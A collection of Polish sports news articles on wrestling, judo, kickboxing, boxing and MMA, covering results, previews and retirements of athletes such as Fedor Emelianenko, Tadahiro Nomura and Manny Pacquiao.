Na początek do rywalizacji staną zapaśniczki w kategoriach 48, 53 i 69kg. O mistrzostwo świata powalczy Iwona Matkowska. Rok temu w Taszkiencie zawodniczka Grunwaldu Poznań wywalczyła srebrny medal w kategorii 48kg. W obecnym sezonie prezentuje równą formę i jest w stanie powtórzyć, a nawet poprawić ten wynik. Katarzyna Krawczyk wystąpi w kategorii 53kg. W Taszkiencie do medalu zabrakło jej niewiele – była piąta. W kategorii 69kg zaprezentuje się doświadczona Agnieszka Wieszczek-Kordus.

Czwartego dnia rywalizacji będziemy obserwować zmagania wśród pań w kategoriach wagowych 55, 58, 63 i 75kg. W pierwszej z nich zaprezentuje się Anna Zwirydowska. Nasza zapaśniczka nasza zapaśniczka zaprezentowała się w wyższej kategorii wagowej (58kg). Została sklasyfikowana na dwudziestej pierwszej lokacie. Dobrą dyspozycją imponuje Roksana Zasina, która wystąpi w 58kg. Rok temu walczyła w 53kg i była dwudziesta. Tym razem Monika Michalik będzie chciała stanąć na podium w 63kg. W Taszkiencie była piąta. Daria Osocka w Las Vegas zaprezentuje się w 75.

Wolny koniec

Osiem kategorii wagowych w stylu wolnym, jednak Polaków wystąpi tylko czterech. Krystian Brzozowski w kategorii 74kg w Taszkiencie był dziewiąty. Teraz liczy, że uda mu się zbliżyć do podium. Radosław Baran zajął piętnaste miejsce w 97kg na poprzednim czempionacie.

W kategorii 86kg w Las Vegas wystąpi Radosław Marcinkiewicz, który podczas Igrzysk Europejskich w Baku zdobył brązowy medal. Nadzieje na podium mistrzostw świata ma Magomedmurad Gadzhiev. Zapaśnik AKS-u Białogard w kategorii 70kg robi ustawiczne postępy. W Baku zdobył srebro. Do Las Vegas pojechał jako jedna z naszych medalowych nadziei.

KM

Wielki mistrz wróci?

Świat MMA ożył, gdy pojawiła się ta informacja. Fiodor Jemieljanienko zamierza wrócić do rywalizacji.

Rosjanin uznawany jest za jednego z najlepszych zawodników w historii MMA. Ostatnią walkę stoczył w czerwcu 2012 roku.

Mocny jak stal

Dla wielu Jemieljanienko to ikona i twarz MMA. Jego pojedynki zawsze elektryzowały, a przede wszystkim obfitowały w liczne i efektowne wymiany. Rosjanin był niczym buldożer, który miażdżył kolejnych rywali.

Swoją karierę Rosjanin rozpoczął w 2000 roku. Cały świat usłyszał o nim podczas występów w Pride, która była liderem rynku na początku XXI wieku. Podczas występów w japońskiej organizacji Jemieljanienko nie zanotował ani jednej porażki. Przez wiele lat był niepokonany i jednoznacznie określono go królem wagi ciężkiej. W swojej karierze odniósł trzydzieści cztery zwycięstwa przy czterech porażkach. Fatalne były dla niego lata 2010-2011. Wtedy Rosjanin przegrał trzy kolejne walki. Pod banderą organizacji Strikeforce Jemieljanienko musiał uznać wyższość Fabricio Werduma, Antonio Silvy i Dana Hendersona.

Po tych doświadczeniach stoczył jeszcze trzy pojedynki. Wszystkie wygrał, ale podjął decyzję o zakończeniu kariery. Warto odnotować, że Jemieljanienko aż dwadzieścia trzy walki zakończył już w pierwszej rundzie. Tim Sylvia spędził z Rosjaninem na placu boju zaledwie trzydzieści sześć sekund. Rywal musiał odklepać, gdyż był bezradny wobec duszenia zastosowanego przez Jemieljanienkę. Warto zauważyć, że jest pewna walka, do której 38-latek z pewnością nie chce wracać. W grudniu 2000 roku podczas gali Rings – King of Kings 2000 Block B Rosjanin zmierzył się z Tsuyoshim Kosaką. Walka trwała zaledwie siedemnaście sekund i zakończyła się porażką Jemieljanienki. Po pięciu latach, już w PRIDE, Rosjanin wziął rewanż na swoim pogromcy.

Powrót

Wszyscy są ciekawi, czy 38-latek udźwignie ciężar rywalizacji po powrocie. Według combatpress.com Jemieljanienko wróci na ring. Sam fighter mówił, że nosi się z zamiarem wznowienia kariery. Ponoć Rosjanin związał się umową z najlepszą obecnie organizacją mieszanych sztuk walki na świecie – UFC.

Jemieljanienko miałby się zaprezentować podczas gali UFC 193 w Melbourne. Chęć walki z Rosjaninem wyraził Mark Hunt. Obaj panowie doskonale się znają, gdyż spotkali się już i wtedy lepszy okazał się Jemieljanienko. Rosjanin obronił mistrzowski pas pokonując swojego oponenta w pierwszej rundzie. Co prawda Hunt w Melbourne ma rywalizować z Antonio Silvą, ale plany mogą ulec zmianie.

Czy Jemieljanienko wróci w wielkim stylu? Ta kwestia już zastanawia wielu i z pewnością wszyscy będą oczekiwali jego pojedynku. Rosjanin to uznana marka, ale podejmuje ryzyko. Gdy przegra mit jego wielkości może runąć. Także musi być przygotowany w stu procentach, aby oczarować widownię, która będzie chciała zobaczyć go w akcji.

Fot. sherdog.com

KM

Nomura zakończył bogatą karierę

Japoński judoka podjął decyzję o definitywnym rozstaniu z judo. Kariera Tadahiro Nomury obfitowała w dużą liczbę sukcesów.

Być mistrzem olimpijskim to marzenie każdego sportowca. Nomura zrealizował ten cel, jednak ostatnie lata jego kariery obfitowały liczne zawirowania.

Wielki mistrz

Trzeba stwierdzić jednoznacznie, że Tadahiro Nomura to wielki mistrz judo. Ikona i zawodnik, który sięgnął szczytu. W żaden sposób nie podlega to dyskusji. Często mamy tendencję do deprecjonowania kogoś, kto osiągnął sukces, jednak z czasem jego występy były coraz słabsze. Warto pamiętać, że to po prostu kwestia wieku i formy sportowej.

Japończyk rywalizował w kategorii wagowej 60kg. Pierwszy wielki sukces osiągnął podczas Igrzysk Olimpijskich w Atlancie, kiedy to sięgnął po złoty medal. Miał wtedy dwadzieścia dwa lata. W finale Nomura okazał się lepszy od Włocha Girolamo Giovinazzo. Również Paweł Nastula miło wspomina start w Atlancie, gdzie sięgnął po złoto. Rok później Nomura odniósł kolejny sukces, gdyż został mistrzem świata. Tytuł wywalczył w Paryżu.

Okazuje się, że Japończyk jest specjalistą od Igrzysk Olimpijskich. W Sydney Nomura również stanął na najwyższym stopniu podium, a w finale okazał się lepszy od Koreańczyka Jung Bu-Kyunga. Gdyby tego było mało, na tym 40-letni dziś Japończyk nie poprzestał. Cztery lata później w Atenach po raz kolejny udowodnił swój kunszt. W finale kategorii 60kg Nomura pokonał Gruzina Nestora Chergianiego i przeszedł do historii. Japończyk był pierwszym judoką w historii, który trzy raz z rzędu wywalczył tytuł mistrza olimpijskiego. W swoim bogatym dorobku Nomura ma również brązowy medal mistrzostw świata z Osaki z 2003 roku.

Nieudane powroty

Po starcie w Atenach wielki mistrz postanowił odpocząć od judo, ale jak pokazuje życie trudno wytrzymać bez materii, w której odnosi się sukcesy. W 2006 roku Nomura podjął decyzję, że będzie walczył o czwarty złoty medal Igrzysk Olimpijskich. Japończykowi nie udało się wywalczyć kwalifikacji do Pekinu. W walce ostatniej szansy poległ z Daisuke Asano. Na fali emocji podjął decyzję o zakończeniu kariery, jednak i tym razem nie wytrzymał. Powrócił po raz kolejny.

Już nie był tak efektowny i nie odnosił spektakularnych sukcesów. Kwestią problemową okazały się kontuzje. Nomura przeszedł operację kolana, aby poprawić swoją sprawność i móc nawiązać rywalizację z najlepszymi. Nie udało się wrócić na szczyt, choć i tak nikt mu nie zabierze tego, co osiągnął. Nomura jest i pozostanie ikoną judo. 40-latek podjął decyzję o zakończeniu kariery sportowej. Jako główne powody podawał kontuzje oraz konieczność przyjmowania z tego powodu zbyt dużej ilości leków przeciwbólowych. Ostatni wielki sukces odniósł w wieku trzydziestu lat. Na zawsze wpisał się w historię judo.

KM

Pacquiao myśli o emeryturze?

Zaskoczenie? Zapewne tak. Wydawało się, że Manny Pacquiao po wyleczeniu kontuzji wróci na ring i będzie kontynuował karierę.

Okazuje się, że Filipińczyk myśli o zakończeniu bokserskiej przygody. O planach pięściarza poinformował jego promotor Bob Arum.

Kto pierwszy?

Konieczne jest głębsze zastanowienie się nad planami Pacquiao. Z jednej strony nie jest aż tak wiekowy, aby żegnać się z ringiem. Filipińczyk ma trzydzieści sześć lat i z powodzeniem mógłby jeszcze boksować. Obecnie Pacquiao dochodzi do pełnej sprawności po kontuzji barku.

W maju „Pacman” współtworzył wielkie widowisko, które zostało określone jako walka XXI wieku. Pacquiao stanął w ringu naprzeciw Floyda Mayweathera Jr. Świat czekał na ten pojedynek, którego wartość była kolosalna, a zainteresowanie medialne jeszcze większe. Lepszy okazał się „Money”. Po konfrontacji „Pacman” tłumaczył się, że powodem porażki były kłopoty zdrowotne. Wspomniana kontuzja barku miała wpływać na jego formę w ringu. Przed walką Filipińczyk przyjmował leki przeciwbólowe, ale na wszystkie te tłumaczenia Mayweather reagował śmiechem.

Po co do tego wracać? Warto. Po pojedynku okazało się, że „Money” myśli o zakończeniu kariery. 12 września Amerykanin stoczy pojedynek z Andre Berto, który będzie czterdziestym dziewiątym starciem w jego karierze. Jeśli wygra będzie niepokonany na zawodowym ringu. Wiele znaków wskazuje na to, że będzie to ostatni występ w karierze „Money”. Później zajmie się innymi rzeczami i poświęci swój czas rodzinie. Mija trochę czasu. W podobnym tonie wypowiada się promotor Pacquiao. Wygląda to trochę jak rywalizacja – kto będzie pierwszy? Czemu to ma służyć – nie wiadomo.

Co będzie robił?

To pytanie kluczowe. Czy Pacquiao znudziło się bycie pięściarzem? Filipińczyk ma za sobą bogatą karierę, w której zdobywał pasy mistrzowskie w aż sześciu kategoriach wagowych.

Zespół „Perfect” śpiewał, że „trzeba wiedzieć, kiedy ze sceny zejść”. Czy równocześnie ring opuści dwóch wielkich pięściarzy? Prawdopodobnie w przyszłym roku rękawice na bok odłoży Pacquiao. – Manny zaprezentuje się jeszcze w przyszłym roku, ale jego głównym celem będzie mandat senatora na Filipinach. Wybory do parlamentu odbędą się w przyszłym roku, a potem przyjdzie czas na wybory prezydenckie. Możliwe, że Pacquiao zakończy karierę w przyszłym roku w przypadku dostania się do senatu – wyjaśnia Bob Arum, prezes grupy Top Rank.

Zatem Filipińczyk stawia na karierę polityczną. Tyle, że autorem słów o przyszłości boksera jest jego promotor, więc można w tym wypadku węszyć chęć zwrócenia uwagi na klienta. Być może teraz posypią się oferty chętnych do walki z Pacquiao, a to pociągnie zainteresowanie telewizji i wpłynie lepiej na promocję pojedynku. Czy to możliwe? Taki scenariusz wcale nie jest wykluczony.

KM

Podsumowanie Kadry Kadetów i Juniorów w formule Kick-Light po Mistrzostwach Europy w Hiszpanii

Mistrzostwa Europy Kadetów i Juniorów San Sebastian Hiszpania WAKO 2015

Podsumowanie Kadry Kadetów i Juniorów w Formule KICK-LIGHT.

O mistrzostwo starego kontynentu z kadry kadetów w wersji kick-light brało udział dwunastu zawodników, którzy zdobyli w sumie 6 medali: 3 złote, 1 srebrny i 2 brązowe!

 

 

 

 

Tytuły mistrzów Europy zdobyli:

Piotr Stępień w kat wag do -42 kg (3 wygrane walki)

Weronika Nowak w kat wag do -60 kg (2 wygrane walki)

Klara Piętak w kat wag do -65 kg (1 wygrana walka)

 

Vice mistrzynią Europy została:

Paulina Turulska w kat wag do -42 kg (1 wygrana walka i 1 porażka w finale)

 

Brązowe medale mistrzostw Europy zdobyli:

Przemysław Kalisz w kat wag do -57 kg (1 wygrana walka i 1 porażka w półfinale)

Sebastian Samiła w kat wag do -63 kg (1 wygrana walka i 1 porażka w półfinale werdykt kontrowersyjny)

 

Poza podium uplasowali się:

Hubert Łaniewski w kat wag do -57 kg (1 wygrana walka)

Mikołaj Mańka w kat wag do -47 kg (bez wygranej walki)

Grzegorz Błotnicki w kat wag do -52 kg (bez wygranej walki)

Zuzanna Licha w kat wag do -55 kg (bez wygranej walki)

Konrad Łaniewski w kat wag do -63 kg (bez wygranej walki)

Kacper Dąbrowski w kat wag do +69 kg (bez wygranej walki)

 

Z kadry juniorskiej w mistrzostwach Europy w wersji kick-light brało udział jedenastu zawodników, którzy zdobyli 8 medali: 1 złoty, 2 srebrne i 5 brązowych!

 

Tytuł mistrza Europy zdobył:

Michał Adamek w kat wag do -89 kg (2 wygrane walki)

 

Vice mistrzami Europy zostali:

Miłosz Fluder w kat wag do -69 kg (1 wygrana walka i 1 porażka w finale)

Patryk Rosiak w kat wag do -89 kg (1 przegrana walka w finale)

 

Brązowe medale mistrzostw Europy zdobyli:

Patrycja Pietrzakowska w kat wag do +70 kg (1 przegrana walka w półfinale)

Marta Lipka w kat wag do +70 kg (1 przegrana walka w półfinale)

Kinga Mikołajczuk w kat wag do -50 kg (1 wygrana walka i 1 porażka w półfinale werdykt kontrowersyjny)

Kamil Połosak w kat wag do -84 kg (1wygrana walka i 1 porażka w półfinale)

Dominik Dybowski w kat wag do -84 kg (1wygrana walka i 1 porażka w półfinale)

 

Poza podium uplasowali się:

Damian Borowiec w kat wag do -63 kg (bez wygranej walki)

Mikołaj Sadowy w kat wag do -74 kg (bez wygranej walki)

Mateusz Pietrucha w kat wag do -57 kg (bez wygranej walki)

 

Trener: Rafał Mazurowski

Asystent trenera: Piotr Nasulewicz

Źródło: materiały prasowe

Pogorzelec idzie w górę

Daria Pogorzelec podczas mistrzostw świata w Astanie w judo zaliczyła najlepszy spośród wszystkich naszych zawodników startujących indywidualnie. Niestety, nie udało się jej zdobyć medalu. Mimo to dobre występy przełożyły się na pozycję w światowym rankingu.

Judoczka Wybrzeża Gdańsk szła jak burza, jednak na ostatniej prostej nie dopisało jej szczęście. Niesmak po piątym miejscu zawodniczka poprawiła sobie w starcie drużynowym.

Dobry występ

Tak naprawdę szczęście było blisko. Pogorzelec bardzo dobrze radziła sobie w kategorii 78kg podczas mistrzostw świata. Polka pokonywała kolejne przeszkody i potwierdziła, że jest w dobrej dyspozycji. Już w poprzednim sezonie Pogorzelec prezentowała wysoką formę. Najlepiej o tym świadczą jej dokonania. Polska judoczka okazała się najlepsza w zawodach Pucharu Świata w Tallinie oraz podczas turnieju Grand Prix w Taszkiencie. Z kolei w tym sezonie Pogorzelec wywalczyła trzecie miejsce w zawodach w Pradze. Start w Igrzyskach Europejskich judoczka z Gdańska zakończyła na 1/8 finału, co było wynikiem poniżej oczekiwań.

Na mistrzostwa świata Pogorzelec jechała jako jedno z najmocniejszych nazwisk w polskiej kadrze. Zawodniczka potwierdziła pokładane w niej nadzieje i zaliczyła najlepszy występ spośród naszych reprezentantów, jednak do medalu trochę zabrakło. Pierwsze potknięcie przytrafiło się naszej judoczce w półfinale, gdzie uległa Mami Umeki. Japonka wywalczyła tytuł mistrzyni świata. W walce o brąz Pogorzelec spotkała się z Marhinde Verkerk, z którą przegrała jedną karą shido. Polka z dobrej strony pokazała się w drużynie, z którą sięgnęła po srebrny medal. Polki rozgromiły Algierki i Rosjanki, stoczyły zacięty bój z Niemkami, ale poległy na Japonkach.

Dobre występy Pogorzelec mają odzwierciedlenie w światowym rankingu. Polka mająca w dorobku 1087 punktów awansowała na dwunaste miejsce, wcześniej była dwie lokaty niżej. Na czele jest Kayla Harrison. Warto również uwzględnić listę olimpijską, która jest wykładnią tego, kto w przyszłym roku zaprezentuje się na igrzyskach w Rio de Janeiro. Pogorzelec zajmuje jedenaste miejsce. Na igrzyska pojedzie czternaście najlepszych zawodniczek z każdej kategorii wagowej.

Jak inni?

Nadal wysoko w światowych rankingach jest Katarzyna Kłys w kategorii 70kg, która w ubiegłym roku sięgnęła po brązowy medal mistrzostw świata. W tym sezonie szuka formy i lepsze występy przeplata słabszymi. Mimo to Kłys jest na dobrej drodze, aby pojechać do Rio de Janeiro. Na liście olimpijskiej zajmuje dwunaste miejsce. Z kolei w rankingu Międzynarodowej Federacji Judo sklasyfikowana została na czternastej pozycji.

Nieco inaczej sytuacji wygląda u mężczyzn. Na Igrzyska Olimpijskie pojedzie dwudziestu dwóch najlepszych zawodników z każdej kategorii wagowej. Obecnie wyjazdu pewny może być Maciej Sarnacki w kategorii +100kg. Polak zajmuje czternastą pozycję.

KM

Do Las Vegas po sukces

Las Vegas to miasto dobrobytu i przepychu. Pojawiają się tam najmożniejsi świata, a we wrześniu zjawią się zapaśnicy. Las Vegas będzie gospodarzem mistrzostw świata w zapasach.

Przede wszystkim liczymy na dobre występy naszych zawodniczek, które w kolejnych występach potwierdzają swoją dobrą formę i dają nadzieję na medal. Do startu w mistrzostwach świata przygotowywały się intensywnie.

Koniec zgrupowania

Ciężkie treningi, które wymagały od naszych zapaśniczek wytrzymałości i poświęcenia. Trener kadry Krzysztof Ołenczyn chce jak najlepiej przygotować swoje zawodniczki do startu w Las Vegas. Bo gra jest warta świeczki. Mistrzostwa świata to okazja do zyskania chwały i odniesienia sukcesu, ale to też coś więcej. Tegoroczny czempionat daje możliwość wywalczenia kwalifikacji olimpijskiej.

Dlatego przez ponad dwa tygodnie we Władysławowie nasza kadra wylewała kolejne krople potu na sali treningowej. Wszystko po to, aby przygotować się jak najlepiej do startu w Las Vegas. Priorytetem było doskonalenie techniki. To był ostatni akord przed mistrzostwami. Nasze zapaśniczki już na miejscu przystosują się do klimatu i będą mentalnie przygotowywały się do swoich występów. Start rywalizacji 9 września.

Po medale?

Nie ulega wątpliwości, że zdobycie medalu to plan minimum. Obecnie polskie zapaśniczki mają potencjał, który powinny przekłuć w sukces.

Ważne są dwa czynniki. Po pierwsze, jak zawsze wiele zależy od losowania. Jeśli szczęście dopisze i drabinka dobrze ułoży się to szansa na sukces zwiększa się, ale historia zna różne przypadki. Druga kwestia to zmiana strefy czasowej. Nasza kadra poleciała do Las Vegas kilka dni wcześniej, aby zapoznać się z warunkami i co najważniejsze – przestawić się. To niezwykle istotne, gdyż wbrew pozorom taka zmiana ma ogromny wpływ na dyspozycję.

W Las Vegas istnieje szansa uzyskania kwalifikacji na Igrzyska Olimpijskie w Rio de Janeiro. Rzecz jasna to niejedyna taka możliwość, ale im wcześniej, tym lepiej. W znakomitej dyspozycji jest Iwona Matkowska w kategorii 48kg, która prezentuje w tym sezonie równą formą. Warto zaznaczyć, że zapaśniczka reprezentująca WKS Grunwald Poznań jest wicemistrzynią świata, więc w Las Vegas może zaatakować najwyższy stopień podium. Z dobrej strony podczas Igrzysk Europejskich w Baku pokazała się Roksana Zasina w 58kg, która zdobyła brązowy medal. Wiele należy obiecywać sobie po starcie Katarzyny Krawczyk. W tym roku zapaśniczka startująca w kategorii wagowej 53kg zwyciężyła w turnieju Poland Open. Stabilna jest Monika Michalik w 63kg, a doświadczenie po swojej stronie ma Agnieszka Wieszczek-Kordus w 69kg.

W naszej kadrze nie brakuje zapaśniczek, które znają smak sukcesów. Ważne, aby potrafiły to przełożyć na start w Las Vegas.

KM

Łokcie pojawią się w KSW

Idą zmiany w polskiej organizacji. KSW chce wprowadzić możliwość uderzania łokciami podczas walk. Zmiany planowane są już od najbliższej gali, która odbędzie się na stadionie Wembley w Londynie.

O takim kroku organizacji KSW poinformował jej współwłaściciel Maciej Kawulski podczas magazyny „Puncher” emitowanego na antenie telewizji Polsat. Dla wielu jest to rewolucyjne rozwiązanie.

Jak to będzie?

Z pewnością ten krok podniesie dyskusję na temat zasadności wprowadzenia uderzeń łokciami. Rzecz jasna, że takie ciosy dozwolone są w największej i najpopularniejszej organizacji mieszanych sztuk walki na świecie, czyli w UFC.

Na pewno decyzja włodarzy KSW wpłynie na widowiskowość oraz atrakcyjność pojedynków. Wymusi to zmiany w postawie samych fighterów. Zawodnicy będą mieli do dyspozycji większy repertuar ciosów, co z pewnością sprawi, że zmniejszy się liczba klinczów. Ponadto, fighterzy będą musieli praktycznie cały czas być aktywni. W tym przypadku nie będzie ani chwili na odpoczynek. Zarówno w stójce, jak i w parterze trzeba będzie się wykazać czujnością oraz szybkością.

Stąd walki mogą być prowadzone na dystans, aby uniknąć niebezpiecznego ciosu. Wielu zawodników będzie chciało wykorzystać nową broń, która może okazać się niezwykle skuteczna. Tym samym zyska widowisko. Pojedynki powinny być szybsze i obfitować w efektywniejsze ciosy.

Z drugiej strony pojawiają się krytycy tej decyzji, którzy twierdzą, że uderzenie łokciami są niezwykle brutalne i narażają zdrowie zawodników. Wzrośnie też rola sędziów, którzy będą musieli z większą uwagą obserwować przebieg walki, aby reagować w odpowiednim momencie.

Pierwszy raz

Z pewnością nie ma lepszego miejsca na przetestowanie nowej propozycji niż gala na Wembley. Federacja KSW po raz pierwszy opuszcza Polskę i chce promować swój produkt na świecie. Działanie jest nastawione na rozwój, który pozwoli zwiększyć atrakcyjność produktu.

Zarazem KSW zwiększa możliwości zawodników. Widzowie po raz pierwszy zobaczą dynamiczne i pełne wymian walki, które są im doskonale znane z UFC. Nie będzie miejsca na schematyczność. Jak to będzie wyglądało w polskiej wersji? Po gali w Londynie będą możliwe pierwsze oceny i wyciągniecie wniosków, czy to zmiana na lepsze.

Kogo zobaczymy na Wembley? W walce wieczoru zaprezentuje się Mariusz Pudzianowski, który zrobił ogromne wrażenie podczas ostatniej gali KSW 31, kiedy to potężnym ciosem już w dwudziestej siódmej sekundzie znokautował Rollesa Gracie. „Pudzian” zmierzy się z doskonale znanym polskim fanom Peterem Grahamem. O pas KSW pojedynek stoczą Borys Mańkowski oraz Michail Tsarev. W Londynie zaprezentują się również Marcin Różalski, Mateusz Gamrot, Michał Włodarek i Rafał Moks. Ciekawie zapowiada się rywalizacja Bretta Coopera i Maiquela Falcao.

Gala KSW 32 „Road to Wembley” odbędzie się 31 października.

 

KM

Zoila Gurgel

Amerykańska zawodniczka MMA urodzona 10 grudnia 1983 roku w Fresno. W MMA zadebiutowała w 2009 roku. W swojej debiutanckiej walce pokonała Karinę Hallinan przez niejedno głośną decyzję sędziów. Jeszcze w tym samym roku podpisała kontrakt z czołową amerykańską organizacją MMA Strikeforce. Dla Strikeforce zadebiutowała 6 listopada pokonując Elishę Helsper na punkty po trzy rundowym pojedynku. Kolejny pojedynek stoczyła 26 marca 2010 roku z Mieshą Tate. Przegrała to starcie przez poddanie. Po tej przegranej właściciele Strikeforce nie przedłużyli z nią kontraktu. W czerwcu 2010 roku stoczyła walkę w organizacji Bellator w której stawką była kwalifikacja do inauguracyjnego turnieju o pas mistrzowski w wadze piórkowej. Gurgul znokautowała swoją przeciwniczkę Rosi Sexton ciosem kolanem i uderzeniami w parterze tym samym kwalifikując się do turnieju. Ćwierćfinał turnieju odbył się 19 sierpnia tego samego roku na gali Bellator 25. Gurgel pokonała wtedy Jessicę Penne przez decyzję sędziów.  W półfinale pokonała Jessicę Aguilar na punkty. Walka finałowa odbyła się  28 października na Bellator 34. W finale spotkała się z Megumi Fujii. Po pięciu rundach sędziowie orzekli niejedno głośne zwycięstwo Gurgel. Amerykanka stała się pierwszą mistrzynią Bellatora w wadze piórkowej. 5 marca 2011 roku na gali Bellator 35 pokonała Karinę Hallinan na punkty. 26 października 2012 roku pokonała Casey Noland jednogłośną decyzją sędziowską. 7 grudnia tego samego roku przegrała z Jessicą Eye w pierwszej rundzie przez duszenie trójkątne. 5 kwietnia 2013 roku na gali Invicta FC 5 przegrała z Jennifer Maia na punkty. 7 grudnia 2013 roku na gali Invicta FC 7 przegrała z Vanessą Porto przez decyzję sędziowską. 

Klasyczne medale

Mistrzostwa świata kadetów w zapasach w Sarajewie już na finiszu. Polska zapisała na swoim koncie dwa medale.

Zdobycz biało-czerwonych to srebro i brąz. Po medale sięgali tylko zawodnicy w stylu klasycznym. Słabo wypadły nasze zapaśniczki, które z dobrej strony pokazały się na mistrzostwach Europy. Tym razem osiągnięć medalowych nie udało się powtórzyć. Szybko z mistrzostw odpadali również zapaśnicy w stylu wolnym.

Jednorazowy ćwierćfinał

Ostatnie dwa dni rywalizacji w Sarajewie to zmagania zawodników w stylu wolnym. W przypadku Polaków trudno mówić o sukcesach, gdyż większość z naszych zapaśników poległa już w eliminacjach. Do fazy ćwierćfinałowej przebił się jedynie Kamil Banaszek w kategorii 54kg. Polski zawodnik zmagania w mistrzostwach rozpoczął od 1/8 finału. Jego rywalem był Nikola Levenov i Bułgara Banaszek wypunktował. W ćwierćfinale lepszy od naszego zawodnika okazał się reprezentant Iranu Hamed Siyahdoolan.

Już w kwalifikacjach udział w mistrzostwach zakończył się dla Adriana Wagnera (46kg), Dawida Piskorza (69kg), Michała Bielawskiego (76kg) i Mateusza Wróblewskiego (85kg). Dwie walki w Sarajewie stoczył Kordian Skrzyński w kategorii 50kg. Na pierwszym etapie zawodów polski zapaśnik uporał się z Arzo Isakovem, jednak kolejna walka nie potoczyła się po myśli naszego reprezentanta. Almaz Smanbekov pewnie wygrał rywalizację w 1/8 finału. Skrzyński został sklasyfikowany na jedenastym miejscu w swojej kategorii wagowej.

Wiktor Lejczak w 63kg po zaciętej walce odesłał do domu Ukraińca Oleksandra Vyshniaka. W 1/8 finału Polak trafił na twardego Gruzina Tornike Kvinikadze, który całkowicie zdominował rywalizację i odniósł pewne zwycięstwo. Na tym etapie odpadł również Jakub Brylewski w kategorii 100kg. Polaka wyeliminował Yakup Yerlikaya.

Bez mistrza

Dwa medale to przyzwoite osiągnięcie naszych kadetów. W Sarajewie nie udało się wywalczyć tytułu mistrza świata. O krok od złota był Norbert Daszkiewicz. Dwudziestu siedmiu zapaśników stanęło do rywalizacji o tytuł najlepszego na świecie w stylu klasycznym w kategorii 69kg. Wśród nich Polak, który od początku prezentował równą i stabilna formę. Po kiepskim starcie na mistrzostwach Europy Daszkiewicz wyciągnął odpowiednie wnioski. Tyle, że w Sarajewie po raz kolejny trafił na przeszkodę nie do przejścia w postaci Aleksandra Komarowa. Rosjanin będzie śnił się naszemu zawodnikowi po nocach. Wyeliminował go z mistrzostw Europy, a w Sarajewie pozbawił szans na tytuł mistrza świata. Daszkiewicz wykonał kawał dobrej roboty, wygrywając cztery pojedynki. Tytuł wicemistrza świata w rękach polskiego zapaśnika.

Z kolei po brązowy medal sięgnął Patryk Kamiński w kategorii 100kg. W półfinale na drodze Polaka stanął Amin Mirzazadeh, który wywalczył tytuł mistrza świata. Kamiński musiał zadowolić się finałem pocieszenia. Polski zapaśnik kończył rywalizację z rękoma górze, dzięki wygranej w pojedynku z Valerim Ivanovem.

KM

Drużyna na medal!

Do ostatniego dnia rywalizacji w mistrzostwach świata w judo w Astanie musieliśmy czekać na medal. Na drugim miejscu podium uplasowała się żeńska reprezentacja Polski.

Podopieczne trener Anety Szczepańskiej w finale uległy Japonkom. Tym samym Polki poprawiły wynik z poprzednich mistrzostw świata. Rok temu w Czelabińsku biało-czerwone zajęły piąte miejsce.

Rosja rozbita

W drodze do finału Polki miały okazję rywalizować z Niemkami i Rosjankami. W obu przypadkach triumfowały, ale były to zupełnie różne pojedynki.

Jednak po kolei. Polska drużyna przystąpiła do rywalizacji w składzie: Karolina Pieńkowska (52kg), Anna Borowska i Arleta Podolak (obie 57kg), Agata Ozdoba i Karolina Tałach (63kg), Katarzyna Kłys (70kg), Daria Pogorzelec i Katarzyna Furmanek (+70kg). W eliminacjach podopieczne Anety Szczepańskiej trafiły na Algierię. W tym przypadku mówimy o różnicy klasy. Biało-czerwone nie pozostawiły rywalkom żadnych złudzeń, kto jest w tej parze lepszy. Po 10:0 zwyciężały Podolak, Kłys i Furmanek. Swoje pojedynki wygrały również Pieńkowska oraz Tałach. Gładkie 5:0 i czas na kolejny pojedynek.

W ćwierćfinale Polki trafiły na Niemki, które rok temu pozbawiły naszą drużynę szans na brązowy medal mistrzostw świata. Zatem nadarzyła się fantastyczna okazja do rewanżu. Ćwierćfinał lepiej rozpoczął się dla Niemek. Maaren Kraeh wypunktowała Karolinę Pieńkowską, jednak po chwili był remis. Arleta Podolak stoczyła wyrównaną walkę z Violą Waechter, ale to Polka była minimalnie lepsza. Martyna Trajdos przez ippon pokonała Agatę Ozdobę, jednak kolejne odsłony rywalizacji należały do biało-czerwonych. Kłys i Pogorzelec zrobiły, co do nich należało i wprowadziły Polskę do półfinału. Co ciekawe, na punkty lepsze okazały się Niemki -17:11. W półfinale czekały Rosjanki. Polska całkowicie rozbiła reprezentację Sbornej. Biało-czerwone nie pozostawiły rywalkom cienia szansy na zwycięstwo. Warto podkreślić, że w półfinałowej rywalizacji Rosjanki nie zdobyły ani jednego punktu! Przez ippon wygrały Kłys i Ozdoba. Pewne zwycięstwa odniosły również Pieńkowska, Podolak i Pogorzelec. Tym samym Polki zrewanżowały się za porażkę w ćwierćfinale Igrzysk Europejskich w Baku.

Decydujące starcie

O sile Japonii w judo nikogo nie trzeba przekonywać. Polska reprezentacja stanęła przed trudnym zadaniem. Japonia przystąpiła do finału w składzie: Misato Nakamura, Anzo Yamamoto, Miku Tashiro, Chizuru Arai oraz Kanae Yamabe. Zawodniczki doskonale znające smak sukcesu i przez lata pozostające w gronie najlepszych na świecie.

Polska w półfinale rozbiła Rosję, a w finale miała niewiele do powiedzenia. Całkowita dominacja Japonii. Rozkładając tę rywalizację na punkty wszystko jest jasne i oczywiste – 41:0. Cztery ippony i po sprawie. Tylko Katarzynie Kłys udało nawiązać się wyrównaną walkę z Arai, jednak i tak poniosła minimalną porażkę.

Srebrny medal to ogromny sukces naszej drużyny. Polska powtarza wyniku z poprzednich mistrzostw, kiedy również wywalczyliśmy jeden medal. Wtedy brąz, teraz srebro.

KM

Brak medalu w Astanie

Mistrzostwa świata w judo nie są spełnieniem marzeń Polaków. Kolejna trójka naszych reprezentantów odpadła w eliminacjach.

Rok temu w Czelabińsku w indywidualnych startach biało-czerwoni za sprawą Katarzyny Kłys sięgnęli po brązowy medal mistrzostw świata, na który Polska czekała aż jedenaście lat. W Astanie wyniku nie udało się powtórzyć, a najlepsze osiągnięcie to piąte miejsce Darii Pogorzelec w kategorii 78kg. Pozostaje jeszcze jedna szansa medalowa. W zawodach drużynowych wystąpi żeńska reprezentacja Polski.

Mistrz lepszy od Sarnackiego

